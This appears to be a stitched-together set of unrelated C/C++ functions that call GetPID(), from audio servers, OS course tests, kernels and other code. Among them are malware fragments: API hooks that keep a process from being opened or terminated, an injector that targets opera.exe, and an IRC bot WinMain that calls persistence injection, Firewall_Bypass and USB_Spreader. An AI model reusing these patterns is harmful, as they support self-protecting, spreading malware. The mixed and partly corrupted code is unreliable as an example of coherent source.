void Process::_GetPID(const ValueList& args, KValueRef result) { int pid = GetPID(); if (pid != -1) result->SetInt(GetPID()); else result->SetNull(); }
int Child2(char *arg) { int pid, kidpid, status, result; GetPID(&pid); USLOSS_Console("\n%s(): starting, pid = %d\n", arg, pid); Spawn("Child2a", Child2a, "Child2a", USLOSS_MIN_STACK, 5, &pid); USLOSS_Console("%s(): spawned process %d\n", arg, pid); Spawn("Child2b", Child2b, "Child2b", USLOSS_MIN_STACK, 5, &pid); USLOSS_Console("%s(): spawned process %d\n", arg, pid); Spawn("Child2c", Child2c, "Child2c", USLOSS_MIN_STACK, 5, &pid); USLOSS_Console("%s(): spawned process %d\n", arg, pid); result = Wait(&kidpid, &status); USLOSS_Console("%s(): Wait result for child %d has status %d\n", arg, kidpid, status); result = Wait(&kidpid, &status); USLOSS_Console("%s(): Wait result for child %d has status %d\n", arg, kidpid, status); result = Wait(&kidpid, &status); USLOSS_Console("%s(): Wait result for child %d has status %d\n", arg, kidpid, status); Terminate(10); return result; // return result to avoid compiler warning } /* Child2 */
/* allocate a POSIX shared memory segment */ int jack_shmalloc (const char *shm_name, jack_shmsize_t size, jack_shm_info_t* si) { jack_shm_registry_t* registry; int shm_fd; int rc = -1; char name[SHM_NAME_MAX+1]; if (jack_shm_lock_registry () < 0) { jack_error ("jack_shm_lock_registry fails..."); return -1; } if ((registry = jack_get_free_shm_info ()) == NULL) { jack_error ("shm registry full"); goto unlock; } /* On Mac OS X, the maximum length of a shared memory segment * name is SHM_NAME_MAX (instead of NAME_MAX or PATH_MAX as * defined by the standard). Unfortunately, Apple sets this * value so small (about 31 bytes) that it is useless for * actual names. So, we construct a short name from the * registry index for uniqueness and ignore the shm_name * parameter. Bah! */ snprintf (name, sizeof (name), "/jack-%d-%d", GetUID(), registry->index); if (strlen (name) >= sizeof (registry->id)) { jack_error ("shm segment name too long %s", name); goto unlock; } if ((shm_fd = shm_open (name, O_RDWR|O_CREAT, 0666)) < 0) { jack_error ("Cannot create shm segment %s (%s)", name, strerror (errno)); goto unlock; } if (ftruncate (shm_fd, size) < 0) { jack_error ("Cannot set size of engine shm " "registry 0 (%s)", strerror (errno)); close (shm_fd); goto unlock; } close (shm_fd); registry->size = size; strncpy (registry->id, name, sizeof (registry->id)); registry->allocator = GetPID(); si->index = registry->index; si->ptr.attached_at = MAP_FAILED; /* not attached */ rc = 0; /* success */ unlock: jack_shm_unlock_registry (); return rc; }
void JackTools::KillServer() { #ifdef WIN32 exit(1); #else kill(GetPID(), SIGINT); #endif }
Semaphore::Semaphore(unsigned initial) { sprintf(fName, "faust_sem_%d_%p", GetPID(), this); if ((_sem = sem_open(fName, O_CREAT, 0777, 0)) == (sem_t*)SEM_FAILED) { printf("Allocate: can't check in named semaphore name = %s err = %s", fName, strerror(errno)); throw -1; } }
int PosixProcess::Wait() { int status; int rc; do { rc = waitpid(GetPID(), &status, 0); } while (rc < 0 && errno == EINTR); if (rc != GetPID()) { throw ValueException::FromFormat("Cannot wait for process: %d", GetPID()); } int exitCode = WEXITSTATUS(status); return exitCode; }
int Shm::cleanup_shm (void) { int i; int destroy; jack_shm_info_t copy; if (shm_lock_registry () < 0) { jack_error ("jack_shm_lock_registry fails..."); return -1; } for (i = 0; i < MAX_SHM_ID; i++) { jack_shm_registry_t* r; r = &jack_shm_registry[i]; memcpy (©, r, sizeof (jack_shm_info_t)); destroy = FALSE; /* ignore unused entries */ if (r->allocator == 0) continue; /* is this my shm segment? */ if (r->allocator == GetPID()) { /* allocated by this process, so unattach and destroy. */ release_shm (©); destroy = TRUE; } else { /* see if allocator still exists */ if (kill (r->allocator, 0)) { if (errno == ESRCH) { /* allocator no longer exists, * so destroy */ destroy = TRUE; } } } if (destroy) { int index = copy.index; if ((index >= 0) && (index < MAX_SHM_ID)) { remove_shm (&jack_shm_registry[index].id); release_shm_entry (index); } r->size = 0; r->allocator = 0; } } shm_unlock_registry (); return TRUE; }
HANDLE WINAPI MyOpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) { if (dwProcessId == GetPID()) { return NULL; } HANDLE nResult=CopyOpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //call origin function return nResult; }
BOOL WINAPI MyTerminateProcess(HANDLE hProcess,DWORD uExitCode) { HANDLE handle=::OpenProcess(PROCESS_ALL_ACCESS,true,GetPID()); if (hProcess == handle) { return FALSE; } return CopyTerminateProcess(hProcess,uExitCode); //call origin function }
int Child2a(char *arg) { int pid; GetPID(&pid); USLOSS_Console("%s(): starting the code for Child2a: pid=%d\n", arg, pid); Terminate(11); return 0; } /* Child2a */
int Shm::shmalloc (const char * /*shm_name*/, jack_shmsize_t size, jack_shm_info_t* si) { jack_shm_registry_t* registry; int shm_fd; int rc = -1; char name[SHM_NAME_MAX+1]; if (shm_lock_registry () < 0) { jack_error ("jack_shm_lock_registry fails..."); return -1; } sp<IAndroidShm> service = getShmService(); if(service == NULL){ rc = errno; jack_error("shm service is null"); goto unlock; } if ((registry = get_free_shm_info ()) == NULL) { jack_error ("shm registry full"); goto unlock; } snprintf (name, sizeof (name), "/jack-%d-%d", GetUID(), registry->index); if (strlen (name) >= sizeof (registry->id)) { jack_error ("shm segment name too long %s", name); goto unlock; } if((shm_fd = service->allocShm(size)) < 0) { rc = errno; jack_error ("Cannot create shm segment %s", name); goto unlock; } //close (shm_fd); registry->size = size; strncpy (registry->id, name, sizeof (registry->id) - 1); registry->id[sizeof (registry->id) - 1] = '\0'; registry->allocator = GetPID(); registry->fd = shm_fd; si->fd = shm_fd; si->index = registry->index; si->ptr.attached_at = MAP_FAILED; /* not attached */ rc = 0; /* success */ jack_d ("[APA] jack_shmalloc : ok "); unlock: shm_unlock_registry (); return rc; }
/// create PID file uint32 CreatePIDFile(std::string const& filename) { FILE* pid_file = fopen(filename.c_str(), "w"); if (pid_file == nullptr) return 0; uint32 pid = GetPID(); fprintf(pid_file, "%u", pid); fclose(pid_file); return pid; }
int Child2b(char *arg) { int pid, status; GetPID(&pid); USLOSS_Console("\n%s(): starting, pid = %d\n", arg, pid); Spawn("Child2c", Child2c, "Child2c", USLOSS_MIN_STACK, 1, &pid); USLOSS_Console("%s(): spawned process %d\n", arg, pid); Wait(&pid, &status); Terminate(50); return 0; } /* Child2b */
int jack_release_shm_info (jack_shm_registry_index_t index) { /* must NOT have the registry locked */ if (jack_shm_registry[index].allocator == GetPID()) { if (jack_shm_lock_registry () < 0) { jack_error ("jack_shm_lock_registry fails..."); return -1; } jack_release_shm_entry (index); jack_shm_unlock_registry (); } return 0; }
int main() { DWORD ProcessID; HANDLE hProcess; ProcessID = GetPID(TEXT("opera.exe")); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); if (hProcess != INVALID_HANDLE_VALUE) { Inject(hProcess); CloseHandle(hProcess); } return 0; }
void cTSDemuxer::SendPacket(sStreamPacket *pkt) { int64_t dts = (pkt->dts == DVD_NOPTS_VALUE) ? pkt->dts : Rescale(pkt->dts); int64_t pts = (pkt->pts == DVD_NOPTS_VALUE) ? pkt->pts : Rescale(pkt->pts); // Rescale pkt->type = m_type; pkt->content = m_content; pkt->pid = GetPID(); pkt->dts = dts; pkt->pts = pts; pkt->duration = Rescale(pkt->duration); m_Streamer->sendStreamPacket(pkt); }
int Shm::unregister_server (const char * /* server_name */) { int i; if (shm_lock_registry () < 0) { jack_error ("jack_shm_lock_registry fails..."); return -1; } for (i = 0; i < MAX_SERVERS; i++) { if (jack_shm_header->server[i].pid == GetPID()) { memset (&jack_shm_header->server[i], 0, sizeof (jack_shm_server_t)); } } shm_unlock_registry (); return 0; }
static void LOG(const char *fmt, ... ) { va_list ap; va_start(ap, fmt); PRUint32 nb = 0; char buf[512]; nb = PR_snprintf(buf, sizeof(buf), "[%u:%p] ", GetPID(), PR_GetCurrentThread()); PR_vsnprintf(buf + nb, sizeof(buf) - nb, fmt, ap); buf[sizeof(buf) - 1] = '\0'; fwrite(buf, strlen(buf), 1, stdout); fflush(stdout); va_end(ap); }
int Child1(char *arg) { int pid; int status; GetPID(&pid); USLOSS_Console("%s(): starting, pid = %d\n", arg, pid); Spawn("Child2", Child2, "Child2", USLOSS_MIN_STACK, 2, &pid); USLOSS_Console("%s(): spawned process %d\n", arg, pid); Wait(&pid, &status); USLOSS_Console("\n%s(): child %d returned status of %d\n", arg, pid, status); USLOSS_Console("%s(): done\n", arg); Terminate(9); return 0; } /* Child1 */
void PosixProcess::SendSignal(int signal) { if (!running) return; if (kill(GetPID(), signal) != 0) { switch (errno) { case ESRCH: throw ValueException::FromString("Couldn't find process"); case EPERM: throw ValueException::FromString("Invalid permissions for terminating process"); default: throw ValueException::FromFormat("Couldn't send signal: %d to process", signal); } } }
int Child(char *arg) { int pid; char str[64]= "This is the first page"; GetPID(&pid); Tconsole("\nChild(%d): starting\n", pid); Tconsole("Child(%d): str = %s\n", pid, str); Tconsole("Child(%d): strlen(str) = %d\n", pid, strlen(str)); memcpy(vmRegion, str, strlen(str)+1); // +1 to copy nul character Tconsole("Child(%d): after memcpy\n", pid); if (strcmp(vmRegion, str) == 0) Tconsole("Child(%d): strcmp first attempt worked!\n", pid); else Tconsole("Child(%d): Wrong string read, first attempt\n", pid); assert(vmStats.faults == 1); assert(vmStats.new == 1); SemV(sem); // forces a context switch with start5 if (strcmp(vmRegion, str) == 0) Tconsole("Child(%d): strcmp second attempt worked!\n", pid); else Tconsole("Child(%d): Wrong string read, second attempt\n", pid); Tconsole("Child(%d): checking various vmStats\n", pid); assert(vmStats.faults == 1); assert(vmStats.new == 1); assert(vmStats.pageOuts == 0); assert(vmStats.pageIns == 0); Tconsole("Child(%d): terminating\n\n", pid); Terminate(117); return 0; } /* Child */
int CloseDevice (void *ioreq) { struct StdIOReq *stdreq = ioreq; struct Device *device; struct IOMReq iomreq; void *elf; int rc; if (GetPID() != iomanager_pid) { iomreq.device = &iomanager_device; iomreq.unitp = NULL; iomreq.as = &kernel_as; iomreq.cmd = IOM_CMD_CLOSEDEVICE; iomreq.cd_ioreq = ioreq; DoIO (&iomreq, NULL); if (iomreq.rc != 0); SetError (iomreq.error); KPRINTF ("iomreq.rc = %d", iomreq.rc); return iomreq.rc; } else { device = stdreq->device; rc = device->closedevice(stdreq); if (device->reference_cnt == 0) { elf = device->expunge(); if (elf != NULL) UnloadDevice (elf); } return rc; } }
int Child2(char *arg) { int pid, i; GetPID(&pid); USLOSS_Console("%s(): starting, pid = %d\n", arg, pid); for (i = 0; i != MAXPROC; i++){ Spawn("Child2a", Child2a, "Child2a", USLOSS_MIN_STACK, 3, &pid); if (pid >= 0) USLOSS_Console("%s(): spawned process %d\n", arg, pid); else USLOSS_Console("%s(): spawned attempt failed, pid = %d\n", arg, pid); } USLOSS_Console("\n%s(): Terminating self and all my children\n", arg); Terminate(10); return 0; } /* Child2 */
const string& UniqueID() { static AtomicCounter cnt; // a GLOBAL counter NTL_THREAD_LOCAL static string ID; NTL_THREAD_LOCAL static bool initialized = false; NTL_THREAD_LOCAL static unsigned long local_cnt = cnt.inc(); NTL_THREAD_LOCAL static unsigned long local_time = time(0); NTL_THREAD_LOCAL static unsigned long local_clock = clock(); if (!initialized) { stringstream ss; ss << local_cnt << "-" << local_time << "-" << local_clock << "-" << GetPID() << "-" << CurrentThreadID(); ID = ss.str(); initialized = true; } return ID; }
int Child(char *arg) { int pid; char *zeros; GetPID(&pid); Tconsole("Child(): starting (pid = %d)\n", pid); zeros = calloc(USLOSS_MmuPageSize(), 1); if (memcmp(vmRegion, zeros, USLOSS_MmuPageSize()) != 0) { Tconsole("Child(): VmRegion is not zero-filled\n"); abort(); } verify(vmStats.faults == 1); SemV(sem); Terminate(117); return 0; } /* Child */
const string& UniqueID() { static AtomicCounter cnt; // a GLOBAL counter NTL_TLS_LOCAL(string, ID); NTL_TLS_LOCAL_INIT(bool, initialized, (false)); NTL_TLS_LOCAL_INIT(unsigned long, local_cnt, (cnt.inc())); NTL_TLS_LOCAL_INIT(unsigned long, local_time, (time(0))); NTL_TLS_LOCAL_INIT(unsigned long, local_clock, (clock())); if (!initialized) { stringstream ss; ss << local_cnt << "-" << local_time << "-" << local_clock << "-" << GetPID() << "-" << CurrentThreadID(); ID = ss.str(); initialized = true; } return ID; }
/* map_open: just send a warning to console */ int map_open(void) { char buf[60]; struct conidcpkt pkt; int pid; /* notify the console of this attempt */ bmove(buf,"Warning: process PID=00000\0",27); /* 00000 at char pos 21 */ pid = GetPID(); i2ascii(buf+21,pid); /* end is at char pos 26 */ bmove(buf+26," is accessing /dev/pmap$\r\n\0",27); pkt.buf = buf; pkt.buflen = 52; cons_idc_init(); cons_idc_send(&pkt); return RPDONE; }
void AtaTaskInit (void) { KPRINTF ("AtaTaskInit()"); ata_pid = GetPID(); if ((ata_buffer = KMalloc (ATA_BUFFER_SZ)) != NULL) { if ((ata_timer_signal = AllocSignal()) != -1) { if ((ata_alarm_signal = AllocSignal()) != -1) { if ((ata_msgport = CreateMsgPort()) != NULL) { if (AtaInitUnits() == 0) { ata_init_error = 0; KSignal (GetPPID(), SIG_INIT); return; } DeleteMsgPort (ata_msgport); } FreeSignal (ata_alarm_signal); } FreeSignal (ata_timer_signal); } KFree (ata_buffer); } ata_init_error = -1; KSignal (GetPPID(), SIG_INIT); Exit(-1); }
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char currentfile[MAX_PATH] = {0}, destination[MAX_PATH] = {0}; SetErrorMode(SEM_NOGPFAULTERRORBOX); Sleep(400); //Detect_Anti(); //Presistance if(_inject) { DWORD dwPID; if(Check(cfg_filename)) { dwPID = GetPID(cfg_filename); Inject(dwPID, (LPTHREAD_START_ROUTINE)Guard, NULL); } } //mutex-check HANDLE xetum; xetum = CreateMutex(NULL, FALSE, cfg_mutex); if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0); //install BotInstall(); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Firewall_Bypass, 0, 0, 0); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)USB_Spreader, 0, 0, 0); //connect char test[1] = ""; IRC_Thread((void*)test); return 0; }
int OpenDevice (char *name, int unit, void *ioreq, uint32 flags) { void *elf; struct Device *device; struct StdIOReq *stdreq = ioreq; struct IOMReq iomreq; struct Resident *resident; int rc; if (GetPID() != iomanager_pid) { /* Send message to IO Manager task */ iomreq.device = &iomanager_device; iomreq.unitp = NULL; iomreq.as = &kernel_as; iomreq.cmd = IOM_CMD_OPENDEVICE; iomreq.od_name = name; iomreq.od_unit = unit; iomreq.od_ioreq = ioreq; iomreq.od_flags = flags; DoIO (&iomreq, NULL); if (iomreq.rc != 0); SetError (iomreq.error); return iomreq.rc; } else { /* Execute nested opendevice() on IOManager task context */ if ((device = FindDevice (name)) != NULL) { stdreq->device = device; rc = device->opendevice (unit, ioreq, flags); return rc; } else { /* Use absolute or /sys/dev prefix for pathname */ if ((elf = LoadDevice (name)) != NULL) { if ((resident = FindElfResident (elf)) != NULL) { if (resident->type == RTYPE_DEVICE && resident->flags & RFLG_AUTOINIT && resident->init(elf) != -1) { if ((device = resident->data) != NULL) { stdreq->device = device; rc = device->opendevice (unit, ioreq, flags); return rc; } } } UnloadDevice (elf); } } } return -1; }